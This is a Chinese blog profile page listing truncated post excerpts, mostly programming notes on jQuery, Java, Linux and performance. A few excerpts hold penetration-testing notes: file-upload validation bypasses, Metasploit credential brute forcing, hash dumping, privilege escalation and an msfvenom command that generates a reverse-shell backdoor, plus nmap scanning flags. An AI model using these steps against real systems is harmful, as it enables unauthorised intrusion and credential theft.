自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(4484)
  • 收藏
  • 关注

转载 [C]编译器对char数组声明的一个行为

1概述如果使用char[]来声明char数组,那么编译器会自动计算后面的字面量字符数,再加上一个空字符,作为它的长度。实际上这个数组最后一位被编译器强行加上了\0:#include <stdio.h>#include <unistd.h>#include <fcntl.h>#define BUFFSIZE 4096...

2019-10-01 18:37:00 658

转载 谈我对于ajax的理解

Ajax的全称是Asynchronous JavaScript and XML 中文名称定义为异步的JavaScript和XML。Ajax是Web2.0技术的核心由多种技术集合而成,使用Ajax技术不必刷新整个页面,只需对页面的局部进行更新,可以节省网络带宽,提高页面的加载速度,从而缩短用户等待时间,改善用户体验。  直白地说,就是没用AJAX的网页,你点一个按钮就要刷新一下页面...

2019-09-30 15:26:00 580

转载 作业:修改JSP注册页面

---恢复内容开始---表单:userLogin.jsp:<%-- Created by IntelliJIDEA. User: axe Date: 2019/9/26 Time: 15:28 To change this template use File | Settings | File Templates. --%> <%...

2019-09-28 14:13:00 665

转载 [Linux]终端设备关系

1.概述tty中基本上可以划分为console(/dev/console)、虚拟终端(/dev/tty0~n)和伪终端(/dev/pts/0~n)。它们之间存在一定的关系。为了说明这段关系,先要准备2个终端:1.console:也就是开机终端,通常系统启动后的信息,都会输出到这个终端上面,直接连接它的,是主机显卡连接的显示器,实际上它输出在系统总线上,下文统一把这个终...

2019-09-27 23:42:00 370

转载 String和StringBuffer与StringBuilder执行效率上的

https://zhidao.baidu.com/question/1899776693762754820.html?fr=iks&word=String%D3%EBStringBuilder%D0%A7%C2%CA%CB%AD%B1%C8%BD%CF%BF%EC&ie=gbk转载于:https://www.cnblogs.com/bichen-01/p/116000...

2019-09-27 20:06:00 158

转载 关于同步访问与异步访问

关于同步访问与异步访问同步:在一段时间内,只能做一个事情同步访问:在访问服务器时,客户端只能等待服务器的响应,不能做其他事情,用户体验差代表场合:输入网址访问页面a标记的默认跳转submit按钮的表单提交异步:在一段时间内,可以同时做多个事情异步访问:向服务器发送请求时,不耽误用户在网页上的其他操作代表场合:用户名...

2019-09-27 20:01:00 413

转载 web-文件上传漏洞总结

思维导图:一,js验证绕过1.我们直接删除代码中onsubmit事件中关于文件上传时验证上传文件的相关代码即可。或者可以不加载所有js,还可以将html源码copy一份到本地,然后对相应代码进行修改,本地提交即可。2.burp改包,由于是js验证,我们可以先将文件重命名为js允许的后缀名,在用burp发送数据包时候改成我们想要的后...

2019-09-25 15:22:00 184

转载 metasploit进阶之路

1.口令安全search mysql_login ssh_login2.hash传递渗透hashdump3.内核提权getsystem4.后门生成linux:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On...

2019-09-17 15:20:00 171

转载 jQuery样式操作(未完全)

直接上代码<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>jQuery样式操作</title> <script type="text/javascript"src="../jqu...

2019-09-14 19:25:00 135

转载 jQuery替换和包裹节点

案例代码:<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>jQuery替换和包裹节点</title> <script type="text/javascript"src="../...

2019-09-13 16:25:00 161

转载 jQuery 删除、复制节点

不废话,直接上代码:案例源码(待会用于操作的)<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>jQuery 删除、复制节点</title> <script type="...

2019-09-13 15:53:00 175

转载 jQuery复习知识点(2、创建节点 3、插入节点)

创建节点的语法:$(html);插入节点的语法:话不多说直接上代码<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>jQuery复习知识点(2、创建节点 3、插入节点)</title>...

2019-09-13 15:19:00 103

转载 jQuery复习节点知识(1、查看(获取)和设置属性)

两个关键字 1、attr 2、prop主要要实现获得和设置两种方式话不多说就直接上代码:首先是获取方式的:<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>jQuery复习节点知识(1、查看...

2019-09-13 14:57:00 84

转载 jQuery复习节点知识

主要复习知识点有:1、查看(获取)和设置属性2、创建节点3、插入节点4、删除节点5、复制(克隆)节点6、替换节点7、包裹节点下篇开始:转载于:https://www.cnblogs.com/bichen-01/p/11516753.html...

2019-09-13 13:57:00 103

转载 替换节点 replaceWith 与 replaceAll的区别

---恢复内容开始---首先我主要从两方面来说:1、大的方面2、小的方面直接用代码来实践:从大的方面:<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>替換節點</title&gt...

2019-09-13 10:42:00 534

转载 $.ajax方法

网站:https://www.cnblogs.com/wiseblog/articles/4795716.html转载于:https://www.cnblogs.com/bichen-01/p/11511778.html

2019-09-12 14:34:00 77

转载 jQuery样式选择器

网址: https://www.csdn.net/gather_2a/OtTaEgysMjk2LWJsb2cO0O0O.html转载于:https://www.cnblogs.com/bichen-01/p/11511694.html

2019-09-12 14:22:00 59

转载 nmap进阶之路

1.namp 列举远程机器开放的端口--dns-servers 8.8.8.8(使用指定域名)-Pn:停止探测之前的ICMP请求,已达到不触发防火墙安全机制-p:指定端口or范围namp 识别目标机器上的服务指纹-T(1-5)加快探测速度-sC -sV -o :-sC:使用默认探测脚本==--script-default== -sS -PO -A -v2.namp发现局域网存活的主机...

2019-09-12 08:38:00 176

转载 CSS的三种选择器#ID,.Class,标签

<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>CSS的三个选择器</title> <!--先声明--> <!--#ID ID选择器-->...

2019-09-09 19:18:00 509

转载 Python下定义输出日志

# 话不多说,直接看代码,,,# -*- coding:UTF-8 -*-# python version: 2.7.15#脚本名, 日志名,日志路径import osimport sysimport timeimport datetimeimport socket# 定义日志路径g_log_directory = "E:\l...

2019-09-09 16:43:00 224

转载 实现页面简单的开灯和关灯

<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>标题</title> <!-- <script type="text/javascript"src="../jquery-...

2019-09-09 15:45:00 888

转载 判断身份证号码是否存在重复

=IF(COUNTIF($D$2:$D$8000,D2&"*")>1,"重复","")转载于:https://www.cnblogs.com/wenlong2019/p/11491315.html

2019-09-09 13:54:00 1024

转载 软件测试 | 大型互联网公司测试技术

1、大、中型互联网企业该如何进行高并发压力测试(https://www.csdn.net/article/a/2016-08-25/15827952)2、互联网巨头公司的测试策略是如何?(https://blog.csdn.net/hualusiyu/article/details/81913472)3、互联网测试有什么不一样(https://blog.csdn.net/superq...

2019-09-08 22:12:00 100

转载 2019/9/8

这里的id的整个式子(单个的)放在上面与放在下面的区别例子:(现在我认为这样的式子一般在jQuery会经常)<div id="1"> <input type = "sumbit"value="按扭">与<div> <input type = "sumbit"value="按扭" id="1">之间的区...

2019-09-08 20:11:00 78

转载 贝叶斯公式

https://www.cnblogs.com/yemanxiaozu/p/7680761.html转载于:https://www.cnblogs.com/hanxuexi/p/11485962.html

2019-09-08 14:12:00 102

转载 后验概率最大化推导

李航统计学习方法第四章61页,后验概率最大化推到不太懂,参考了一些文章,懂了一丢丢(参考其他大佬的博客的,大部分都是大佬写的哈哈哈哈,我是搬运工,原文链接以放出)在这里,设:那么上式可以改为:对于上式的期望风险求最小化,可以发现这是一个积分,积分中的中的各项以及都大于0,所以积分过程中不存在积分域内的两块积分相减的情况,因此求最小值就是求的最小值。对于任意的一...

2019-09-07 14:53:00 509

转载 实现简单的网页登录注册功能 (使用html和css以及javascript技术) 没有美化的日后补全...

<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>账号注册</title> <style> select { width: 100px...

2019-09-06 22:54:00 189

转载 测试一些以前的代码

package demo;import java.util.Scanner;//测试骂人的public class Main2 { static Scanner sc = new Scanner(System.in);public static void main(String[] args) { System.out.prin...

2019-09-06 11:28:00 93

转载 中间件 | mq消息队列解说

消息队列 1.1 什么是消息队列 我们可以把消息队列比作是一个存放消息的容器,当我们需要使用消息的时候可以取出消息供自己使用。消息队列是分布式系统中重要的组件,使用消息队列主要是为了通过异步处理提高系统性能和削峰、降低系统耦合性。目前使用较多的消息队列有ActiveMQ,RabbitMQ,Kafka,RocketMQ。 1.2 为什...

2019-09-04 22:51:00 88

转载 正则表达式 | 正则表达式学习篇

概述 正则表达式是很多运维薄弱的一项技能。大家很多时候都会觉得正则表达式难记、难学、难用,但不可否认的是正则表达式是一项很重要的技能,所有今天将学习和使用正则表达式时的关键点整理如下,仅供参考。 什么是正则表达式? 正则表达式(Regular Expression 或 Regex),是用于定义某种特定搜索模式的字符组合。正...

2019-09-04 22:50:00 197

转载 CPU | 物理 CPU vs 逻辑 CPU vs 核心 vs 线程 vs Socket

当我们试着通过 Linux 命令 nproc 和 lscpu 了解一台计算机 CPU 级的架构和性能时,我们总会发现无法正确地理解相应的结果,因为我们会被好几个术语搞混淆:物理 CPU、逻辑 CPU、虚拟 CPU、核心、线程和 Socket 等等。如果我们又增加了超线程(不同于多线程),我们就会开始不知道计算机里面到底有多少核心,我们搞不明白为什么像 ht...

2019-09-04 22:47:00 135

转载 线程池 | Java多线程,彻底搞懂线程池

熟悉Java多线程编程的同学都知道,当我们线程创建过多时,容易引发内存溢出,因此我们就有必要使用线程池的技术了。 最近看了一些相关文章,并亲自研究了一下源码,发现有些文章还是有些问题的,所以我也总结了一下,在此奉献给大家。 1 线程池的优势 总体来说,线...

2019-09-04 22:46:00 144

转载 性能优化 | 30个Java性能优化技巧,你会吗?

在Java程序中,性能问题的大部分原因并不在于Java语言,而是程序本身。养成良好的编码习惯非常重要,能够显著地提升程序性能。 1、尽量在合适的场合使用单例 使用单例可以减轻加载的负担,缩短加载的时间,提高加载的效率,但并不是所有地方都适用于单例,简单来说,单例主要适用于以下三个方面:...

2019-09-04 22:42:00 111

转载 进程 | 线程 | 当Linux多线程遭遇Linux多进程

背景 本文并不是介绍Linux多进程多线程编程的科普文,如果希望系统学习Linux编程,可以看[《Unix环境高级编程》第3版] 本文是描述多进程多线程编程中遇到过的一个坑,并从内核角度分析其原理。这里说的多进程多线程并不是单一的多进程或多线程,而是多进程和多线程,往往会在写一个大型应用时才会用到多进程多线程的模型。 这是怎么样的...

2019-09-04 22:39:00 128

转载 进程 | 线程 | 当Linux多线程遭遇Linux多进程

背景 本文并不是介绍Linux多进程多线程编程的科普文,如果希望系统学习Linux编程,可以看[《Unix环境高级编程》第3版] 本文是描述多进程多线程编程中遇到过的一个坑,并从内核角度分析其原理。这里说的多进程多线程并不是单一的多进程或多线程,而是多进程和多线程,往往会在写一个大型应用时才会用到多进程多线程的模型。 这是怎么样的...

2019-09-04 22:39:00 64

转载 性能面试 | 性能测试常见面试题

简述性能测试流程? 1.分析性能需求。挑选用户使用最频繁的场景来测试,比如:登陆,搜索,下单等等。确定性能指标,比如:事务通过率为100%,TOP99%是5秒,最大并发用户为1000人,CPU和内存的使用率在70%以下 2.制定性能测试计划,明确测试时间(通常在功能稳定后,如第一轮测试后进行)和测...

2019-09-04 22:36:00 143

转载 性能调优 | 如何通过性能调优突破 MySQL 数据库性能瓶颈?

本文出自头条号老王谈运维,转载请说明出处。 MySQL 数据库瓶颈对 DBA 程序员而言,是非常棘手的问题。要正确的优化SQL,我们需要快速定位能性的瓶颈点,也就是说快速找到我们SQL主要的开销在哪里?下面小编将从数据库数据库性能优化的目标和方法两方面阐述如何通过性能调优突破 MySQL 数据库性能瓶颈。 ...

2019-09-04 22:33:00 197

转载 性能分析 | Java服务器内存过高&CPU过高问题排查

一、内存过高 1、内存过高一般有两种情况:内存溢出和内存泄漏 (1)内存溢出:程序分配的内存超出物理机的内存大小,导致无法继续分配内存,出现OOM报错 (2)内存泄漏:不再使用的对象一直占据着内存不释放,导致这块内存浪费掉,久而久之,内存泄漏的对象堆积起来,也会导致物理机的内存被耗尽,出现OOM报错 2、内存过高的检测办法:...

2019-09-04 22:30:00 342

转载 JAVA | Java对象的内存分配过程是如何保证线程安全的?

专注于Java领域优质技术,欢迎关注 作者 l Hollis 来源 l Hollis(ID:hollischuang) JVM内存结构,是很重要的知识,相信每一个静心准备过面试的程序员都可以清楚的把堆、栈、方法区等介绍的比较清楚。 上图,是一张在作者根据《Java虚拟...

2019-09-04 22:29:00 76

转载 IO调度 | Linux块设备中的IO路径及调度策略

当文件系统通过submit_bio提交IO之后,请求就进入了通用块层。通用块层会对IO进行一些预处理的动作,其目的是为了保证请求能够更加合理的发送到底层的磁盘设备,尽量保证性能最佳。这里面比较重要的就是IO调度模块。大家可能都听说过CFQ,除此之前还有DeadLine和Noop等,这些都是磁盘的调度算法。其中CFQ调度算法用的最多。 如果忽略块设备...

2019-09-04 22:28:00 111

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除